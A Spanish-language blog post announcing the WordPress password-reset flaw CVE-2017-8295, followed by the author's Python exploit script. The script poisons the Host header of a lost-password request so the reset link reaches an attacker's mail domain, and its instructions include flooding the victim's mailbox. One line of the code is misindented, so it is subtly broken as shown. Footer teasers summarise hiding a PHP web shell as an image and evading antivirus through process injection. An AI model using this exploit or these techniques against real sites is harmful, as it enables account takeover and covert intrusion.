0-day: WordPress < 4.7.4 - Unauthorized Password Reset Vulnerability


Hola

Después de varios días de inactividad, llegó esta noticia:

https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

Se trata de una vulnerabilidad 0-day en todas las veriones  de Wordpress <= 4.7.4, que permite obtener el correo con el link para resetear la clave de un usuario, sin tener que estar autenticado.

Para probar desarrollé este código, espero les sirva.


#! /usr/bin/python

import httplib, urllib
import sys

print("""
Wordpress exploit CVE-2017-8295 v1.0 - www.incode.cl

1. Obtener nombre de usuario de wordpress y su email
2. Generar DoS en email del usuario
3. Crear tu correo '[email protected]'

Continuar con el exploit...
""")

url = raw_input("4. Ingresa la URL del Wordpress (ej: http://misitio.com) : ")

if len(url) > 5:

 user = raw_input("5. Ingresa el nombre de usuario WP (ej: admin) : ")
 
 if len(user) <= 1:
  print ("Usuario invalido. Terminado.")
  sys.exit()


 #
 dominio = raw_input("6. Ingresa el dominio de tu servidor de correo (ej: midominio.com) : ")

 if len(dominio) > 4:
  url2 = url + "/wp-login.php?action=lostpassword"
  print("\nEnviando datos a: " + url2 + "\n")
  values = {'user_login' : user, 'redirect_to' : '', 'wp-submit' : 'Get+New+Password'}
 
  data   = urllib.urlencode(values)
  
  headers = { "Content-type": "application/x-www-form-urlencoded", "Content-Length" : str(len(data)), "Host": dominio}  
 
  host = url.replace("http://","").replace("https://","").replace("www.","") + ":80"

  print ("\nConectando con host: " + host)
 
  conn = httplib.HTTPConnection(host)
  conn.request("POST", url2, data, headers)
 
     
     resp = conn.getresponse()
  print("\nHTTP Response: " + str(resp.status))

  print("\nFinalizado\n")  

 else:
  print("Dominio invalido. Terminado.")
 
else:
 print("URL invalida. Terminado.")

Para quienes quieran aportar, les dejo el repositorio:
https://github.com/inc0d3/wordpress

Saludos

Comentarios

Publicar un comentario

Entradas populares de este blog

Desempaquetando Themida 2 (unpacking windows binary) - Análisis de Malware

Imagen
Comparto el mecanismo que me ha funcionado para desempacar los binarios protegidos con Themida 2. Para quienes no conocen Themida, se trata de un software comercial, cuyo objetivo es proteger los binarios de la ingeniería inversa, pensando en proteger a los fabricantes de software de la copia de sus códigos, impedir la generación de cracks o keygens para sus licencias, entre otros. Pero obviamente, esto también es aprovechado por los atacantes que escriben malware, ya que este mecanismo hace mucho más difícil el análisis de los investigadores. En el ejemplo que explico ahora, revisaré un troyano que comparto acá: https://github.com/inc0d3/malware/blob/master/windows/Trusteer.zip Para el análisis recomiendo usar Windows 7 32 bits con las herramientas de Flare: https://www.fireeye.com/blog/threat-research/2017/07/flare-vm-the-windows-malware.html Ejecuté el malware e inmediatamente surgió este error: Es porque tenía corriendo las utilidades Process Monitor y Proce
Leer más

Ocultando la web shell como una imagen (Apache + PHP)

Imagen
Iniciamos marzo con una técnica muy utilizada, se trata de ocultar una shell que hemos subido a nuestro servidor objetivo, ocultarla 100% no será posible, pero si pasará desapercibida para muchos administradores y webmasters. La técnica consiste en que nuestro script (PHP en este caso) se oculte bajo una supuesta imagen. Primero, se asume que detectamos una vulnerabilidad que nos permita crear un archivo en el servidor, luego explotamos la vulnerabilidad y subimos nuestra shell, supongamos un plugin de Wordpress que hace upload de imagenes sin validar. Podríamos ver un directorio similar a este: Lo que vemos, es claramente un script PHP, debe mantener esa extensión para que el servidor lo interprete, lo ejecute y podamos hacer uso de este. El problema es que es demasiado evidente que se ha vulnerado la aplicación, entonces se hace necesario ocultar o camuflar esta intrusión de alguna forma. Apache permite sobre escribir algunas configuraciones a través de un archivo qu
Leer más

Evasión de antivirus modernos usando Process Injection - MITRE T1055

Imagen
  En octubre de este año revisé algunas técnicas comunes de inyección de shellcode en otros procesos, también conocido como Process Injection y puse a prueba algunos antivirus, me hubiese gustado probar más, pero por tiempo no pude. Me sorprendió que siendo técnicas conocidas y sin ofuscación alguna lograra evadir varios antivirus.  Si bien esto lo hago con el propósito de aprender y poner a prueba algunas marcas (a todas les reporté esto), deja en evidencia lo que siempre decimos, que no debemos descansar en "cajas" ni en productos de seguridad si no que deben ser parte de una cadena de mecanismos de protección (protección por capas, partiendo por la capa 8). Incluye el código fuente por si quieres poner a prueba tu antivirus.
Leer más